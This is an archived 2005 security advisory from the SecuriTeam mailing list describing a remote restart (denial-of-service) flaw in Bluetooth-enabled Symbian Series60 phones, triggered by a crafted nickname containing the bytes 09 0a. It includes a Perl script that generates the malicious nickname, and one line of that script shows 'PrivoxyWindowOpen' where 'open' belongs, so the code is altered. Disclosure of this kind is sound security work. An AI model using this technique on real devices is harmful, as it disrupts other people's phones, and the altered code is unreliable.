[NEWS] Symbian Bluetooth Nickname Remote DoS
From: SecuriTeam (support_at_securiteam.com)
Date: 06/30/05
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
To: list@securiteam.com Date: 30 Jun 2005 15:29:40 +0200
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
Symbian Bluetooth Nickname Remote DoS
------------------------------------------------------------------------
SUMMARY
<http://www.symbian.com/> Symbian OS is "an operating system for mobile
devices". Mobile devices running the Symbian OS and that were enabled to
support Bluetooth can be remotely restarted by sending them a crafted
nickname.
DETAILS
Vulnerable Systems:
* Symbian Series60
By changing the user's nickname to include " 09 0a " in hex, a user can
cause every one who search for available bluetooth devices and find the
nickname for the to remotely restar their mobile device. To exploit, the
user will need to set his nickname to something in the format of:
[something][09 0a in hex][just add anything here]. Characters before 09 0a
are required , since the nokia phones will delete the 09 0a automatically
as it recognised as whitespaces.
Exploit Code:
#!/usr/bin/perl -w
my $btnick;
my $bth;
my $bts;
my $file;
$bth = " .";
print "\n*******************************************************\n";
print "** NOKIA REMOTE RESTART IN BLUETOOTH NICKNAME **\n";
print "** BY QNIX | Q-nix[@]bsdmail[dot]org **\n";
print "*******************************************************\n";
print " \n write your nickname : ";
$btnick = <STDIN>;
chomp($btnick);
print " \n OUTPUT : ";
$file = <STDIN>;
chomp($file);
PrivoxyWindowOpen(BLUEN, ">>$file") || die "Could not create file $!\n";
$bts = "$btnick$bth";
print BLUEN ("$bts");
close(BLUEN);
print "\n Done !! , send the output to your nokia and copy the file to the
bluetooth nickname space . \n\n";
ADDITIONAL INFORMATION
The information has been provided by <mailto:Qnix@bsdmail.org> Qnix.
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
Relevant Pages
|
|
